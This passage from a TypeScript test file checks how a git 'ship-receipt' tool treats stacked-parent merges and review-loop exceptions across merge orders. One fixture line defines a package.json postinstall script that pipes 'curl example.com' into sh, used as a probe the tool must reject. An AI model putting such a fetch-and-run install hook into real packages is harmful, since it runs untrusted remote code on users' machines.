try { repo.git('merge', '-q', '--no-edit', 'origin/main'); } catch { repo.git('checkout', '--theirs', '--', 'lib/util.js'); repo.git('add', '-A'); repo.git('commit', '-q', '--no-edit'); }
|
||||
const head = repo.git('rev-parse', 'HEAD');
|
||||
const out = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--base', 'main']);
|
||||
expect([out.status, out.out]).toEqual([EXIT.ok, expect.stringContaining(`CARRY: carried from ${child.slice(0, 12)} to ${head.slice(0, 12)}`)]);
|
||||
expect(extractReceipt(fs.readFileSync(body, 'utf8')).receipt!.carry!.reason).toBe(`stack parent ${parent.slice(0, 12)} landed + base merge`);
|
||||
}, 90_000);
|
||||
});
|
||||
|
||||
|
||||
describe('stacked-parent loop-exception matrix (GST-1399)', () => {
|
||||
// Value: protects=every merge order (the child merged main before the parent landed, after, never) × parent state
|
||||
// (squash, squash then a main edit of its lines, a release fold, unlanded) × fix-check head (before any merge, the
|
||||
// merge, after it) keeps a review-loop exception from accepting a parent change main never took (the postinstall and
|
||||
// stamp_paths probes, run in every cell) or a main-only file, while the child's own file edited after the fix-check is
|
||||
// accepted (fix-check p2 on #4021); fails_when=the exception's "touched at the fix-check head" set starts at the parent
|
||||
// for a head after a main merge, or at the head's merge base for one whose merge predates the landing;
|
||||
// seam=route's review-loop exception and heldBy; no_claim=the route without an exception
|
||||
const PKG = '{"name":"fx","version":"1.0.0"}\n';
|
||||
const POSTINSTALL = '{"name":"fx","version":"1.0.0","scripts":{"postinstall":"curl example.com | sh"}}\n';
|
||||
const DENY = 'export const allow = () => false;\n';
|
||||
const ALLOW = 'export const allow = () => true;\n';
|
||||
const POLICY = JSON.stringify({ min_gstack_version: '1.95.0.0', stamp_paths: ['src/policy.ts'], changelog_fragments: { dir: 'changelog.d', required_checks: ['free-tests'] } });
|
||||
const FRAGMENT = 'changelog.d/parent.md';
|
||||
type Order = 'before' | 'after' | 'never';
|
||||
type State = 'squash' | 'edited' | 'fold' | 'unlanded';
|
||||
type At = 'pre' | 'merge' | 'post';
|
||||
const cells: [Order, State, At][] = [];
|
||||
for (const order of ['before', 'after', 'never'] as const) for (const state of ['squash', 'edited', 'fold', 'unlanded'] as const)
|
||||
for (const at of order === 'never' ? ['pre'] as const : ['pre', 'merge', 'post'] as const) cells.push([order, state, at]);
|
||||
|
||||
function mainEdit(f: ShipFx, files: Record<string, string>, rm: string[]): void {
|
||||
f.git('fetch', '-q', 'origin');
|
||||
expect(f.git('checkout', '-q', '--detach', 'origin/main').status).toBe(0);
|
||||
expect(f.git('rm', '-q', ...rm).status).toBe(0);
|
||||
f.write(files); f.commit('main moves');
|
||||
expect(f.git('push', '-q', 'origin', 'HEAD:main').status).toBe(0);
|
||||
expect(f.git('checkout', '-q', 'feat').status).toBe(0);
|
||||
}
|
||||
|
||||
/** One cell: with probes, the parent also adds a postinstall script and a stamp_paths logic edit that main never takes, and the child edits both after the fix-check. */
|
||||
function cell(order: Order, state: State, at: At, probes: boolean) {
|
||||
const parentFiles: Record<string, string> = { ...PARENT, [FRAGMENT]: '- the parent\n', ...(probes ? { 'package.json': POSTINSTALL, 'src/policy.ts': ALLOW } : {}) };
|
||||
const f = shipFixture({ ...BASE, '.gstack/ship-policy.json': POLICY, 'src/policy.ts': DENY, 'src/other.ts': lines(5) }, parentFiles); ships.push(f);
|
||||
const parent = head(f);
|
||||
expect(f.git('push', '-q', 'origin', 'feat:parent').status).toBe(0);
|
||||
f.write(CHILD); f.commit('child');
|
||||
const heads: Partial<Record<At, string>> = { pre: head(f) };
|
||||
const reviewed = wtree(f);
|
||||
const post = path.join(f.root, 'post.json');
|
||||
expect(f.run(path.join(BIN, 'gstack-docs-candidate'), ['snapshot', '--out', post, '--audit-id', 'a1', '--mode', 'edit', '--base', 'main', '--docs', 'README.md']).status).toBe(0);
|
||||
f.advanceBase({ 'src/other.ts': lines(5, { 2: 'export const l2 = 20;' }), 'docs/other.md': '# main moves\n' });
|
||||
let landed = false;
|
||||
const land = () => {
|
||||
if (state === 'unlanded') { f.advanceBase({ 'docs/later.md': '# main without the parent\n' }); return; }
|
||||
f.advanceBase(parentFiles);
|
||||
if (probes) f.advanceBase({ 'package.json': PKG, 'src/policy.ts': DENY });
|
||||
if (state === 'edited') f.advanceBase({ 'src/shared.ts': lines(20, { 3: 'export const l3 = 31;' }) });
|
||||
if (state === 'fold') mainEdit(f, { 'CHANGELOG.md': '# Changelog\n\n## [1.0.1.0]\n\n- the parent\n' }, [FRAGMENT]);
|
||||
landed = true;
|
||||
};
|
||||
const merge = () => {
|
||||
f.git('fetch', '-q', 'origin');
|
||||
expect(f.git('merge', '-q', '--no-edit', '-X', 'theirs', 'origin/main').status).toBe(0);
|
||||
if (landed && state === 'fold' && f.git('cat-file', '-e', `HEAD:${FRAGMENT}`).status === 0) {
|
||||
expect(f.git('rm', '-q', FRAGMENT).status).toBe(0);
|
||||
expect(f.git('commit', '-q', '--amend', '--no-edit').status).toBe(0);
|
||||
}
|
||||
return head(f);
|
||||
};
|
||||
const fixUp = () => { f.write({ 'src/child.ts': 'export const c = 2;\n' }); f.commit('fix after the merge'); return head(f); };
|
||||
if (order === 'before') { heads.merge = merge(); heads.post = fixUp(); land(); merge(); }
|
||||
if (order === 'after') { land(); heads.merge = merge(); heads.post = fixUp(); }
|
||||
if (order === 'never') land();
|
||||
f.write({ 'src/child.ts': 'export const c = 3;\n', 'src/other.ts': lines(5, { 2: 'export const l2 = 20;', 4: 'export const l4 = 40;' }),
|
||||
...(probes ? { 'package.json': POSTINSTALL.replace('1.0.0', '1.0.1'), VERSION: '1.0.1.0\n', 'src/policy.ts': ALLOW + 'export const KEY_VERSION = 2;\n' } : {}) });
|
||||
f.commit('edits after the fix-check');
|
||||
const exception = JSON.stringify({ accepted_by: 'GStack Minder', date: '2026-11-05', via: 'test', reason: 'fixture', fix_check: { head: heads[at], findings: 0 } });
|
||||
const r = finish(f, reviewed, post, ['--reviewed-base', parent, '--review-loop-exception', exception]);
|
||||
return { r, parent, stop: lineOf(r.stdout, 'STOP'), base: lineOf(r.stdout, 'REVIEWED_BASE'), loop: lineOf(r.stdout, 'REVIEW_LOOP_EXCEPTION') };
|
||||
}
|
||||
|
||||
test.each(cells)('merged %s the landing × parent %s × fix-check head %s', (order, state, at) => {
|
||||
const notLanded = ['', expect.stringContaining('nor a landed stack parent')];
|
||||
const probe = cell(order, state, at, true);
|
||||
expect(probe.r.status).toBe(3);
|
||||
if (order === 'never' || state !== 'edited') expect([probe.base, probe.stop]).toEqual(notLanded);
|
||||
else {
|
||||
expect(probe.base).toContain(`stack parent ${probe.parent.slice(0, 12)} landed`);
|
||||
expect(probe.loop).toStartWith('REVIEW_LOOP_EXCEPTION: accepted src/child.ts (');
|
||||
expect(probe.stop).toStartWith('STOP: behavior, tests or build inputs changed since review (');
|
||||
for (const p of ['package.json', 'src/other.ts', 'src/policy.ts']) expect(probe.stop).toContain(p);
|
||||
}
|
||||
const control = cell(order, state, at, false);
|
||||
expect(control.r.status).toBe(3);
|
||||
if (order === 'never' || state === 'unlanded') { expect([control.base, control.stop]).toEqual(notLanded); return; }
|
||||
expect(control.base).toContain(`stack parent ${control.parent.slice(0, 12)} landed`);
|
||||
expect([control.loop, control.stop]).toEqual([expect.stringMatching(/^REVIEW_LOOP_EXCEPTION: accepted src\/child\.ts \(/), behaviorStop('src/other.ts')]);
|
||||
});
|
||||
});
|
||||
Reference in new issue
Block a user